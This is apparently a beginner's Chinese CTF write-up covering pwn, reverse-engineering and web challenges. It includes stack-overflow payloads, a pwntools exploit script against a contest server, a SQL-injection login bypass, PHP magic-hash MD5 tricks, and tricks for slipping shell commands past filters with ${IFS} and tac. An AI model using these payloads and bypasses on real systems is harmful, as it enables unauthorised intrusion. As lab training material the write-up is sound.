写在前面:
emm,感觉题目由易到难还是比较适合新手的,学到不少
Pwn
getshell



简单的栈溢出
payload = ‘a’ * 0x18 + ‘aaaa’ + p32(0x804851B)
getshell-2

这道题和上一题类似。。。
只是说用sh也行,libc弄了好久结果还有点小问题,按D转化为Data获得sh的位置0x08048671
然后添加到call system的地址后

payload=‘a’*(0x18+4)+p32(0x08048529)+p32(0x08048670)
number_game

在v1 = -v1后仍然要小于0,怎么实现呢
取负就是~a+1,0xf000 0000可以实现
Closed

close(0)close(1)close(2)
分别对应着输入输出和报错,这里意味着连到sh后没法看到输出
Solve: sh 1>&0
就是把标准输出重定向到标准输入
参考:https://www.cnblogs.com/caolisong/archive/2007/04/25/726896.html
NameYourCat


这里先把NameWhich的参数改为char *(原来是int),看到是一个写入数组的,并且调用了五次,数组是char[40],a3的大小是0x34,那么其中有一次写进去就好
7的原因是(0x34+4)/8
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * r = remote('106.12.48.20', 12337) def nameit(v2, s): r.sendlineafter('which?\n>', str(v2)) r.sendlineafter('e plz: ', s) nameit(0, 'a') nameit(0, 'a') nameit(0, 'a') nameit(7, p32(0x080485CB)) nameit(0, 'a')
r.interactive()
|
NameYourDog


这道题的Dogs在bss段。而且是可以对GOT表写入的
那么


(0x0804A028-0804A060)/8=-7
把scanf的地址写为shell函数的地址,那么下一次调用scanf时候就会直接调用shell函数。exp就不写了
这里再整合一下Got表和Plt表
来源:http://jing0107.lofter.com/post/1cbc869f_8b3d8a5
GOT表:
概念:每一个外部定义的符号在全局偏移表*(Global offset Table)*中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。
PLT:过程连接表(Procedure LinkageTable),一个PLT条目对应一个GOT条目
当main函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
Reverse
level1
output.txt里面是19行
这里刚好19次
ctf2020{d9-dE6-20c}加个wOK
level2
这个一看就不对劲,加了壳

GitHub上有upx工具,不过试试看brew里有没有upx
诶嘿还真装上了

进去就看到flag了
level3

看到一个base64密文,但是解码不对,有两种可能,一种是加密方式变了,一种是密钥变了,看简单的。

可以看到被O_OLookAtYou
调用的,这里有两点注意:
- 一开始只能看到两条,得在option->general->cross…>cross reference depth改多一点
- 这个函数实际上是在init被调用的,可以用xref看到

看看逻辑就是0-9和19-10换了一下,之后就成功了
Web
由于很萌新啊(自己,不是题目2333)
就记录下遇到的几个绕过
admin
万能密码password = ‘1’ or(1)#
emm
朴实无华
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__);
if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); }
if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); }
if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
|
intval()
首先第一个,intval()
对于16进制的有问题,0x1234,直接识别是0,加1后就是0x1234+1这个数了
md5()
得找到一个0e开头的,md5后仍为0e的
http://0sec.com.cn/2018-04-26/
0e215962017
是可以的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import hashlib import re def MD5(data): return hashlib.md5(data).hexdigest()
def main(): a = 100000000 while True: data = '0e' + str(a) data_md5 = MD5(data) a = a + 1 if(re.match('^0e[0-9]{30}',data_md5)): print(data) print(data_md5) break if(a % 1000000 == 0): print(a) if __name__ == '__main__': main()
|
跑脚本也行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #比较md5 QNKCDZO 0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
#双md5 CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import multiprocessing import hashlib import random import string import sys CHARS = string.letters + string.digits def cmp_md5(substr, stop_event, str_len,. start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)) md5 = hashlib.md5(rnds) value = md5.hexdigest() if value[start: start+str_len] == substr: print rnds stop_event.set() ''' #碰撞双md5 md5 = hashlib.md5(value) if md5.hexdigest()[start: start+str_len] == substr: print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n" stop_event.set() ''' if __name__ == '__main__': substr = sys.argv[1].strip() start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0 str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join()
|
来源https://www.k2zone.cn/?p=2019
上面脚本注释部分是双MD5碰撞,取消注释然后注释掉16行即可。
使用方法:python md5Crack.py “你要碰撞的字符串” 字符串的起始位置
例如:python md5Crack.py “0e" 0
将产生MD5值为0e开头的字符串。
cat 空格
cat
可以用tac
或者more
,空格使用 %09,${IFS}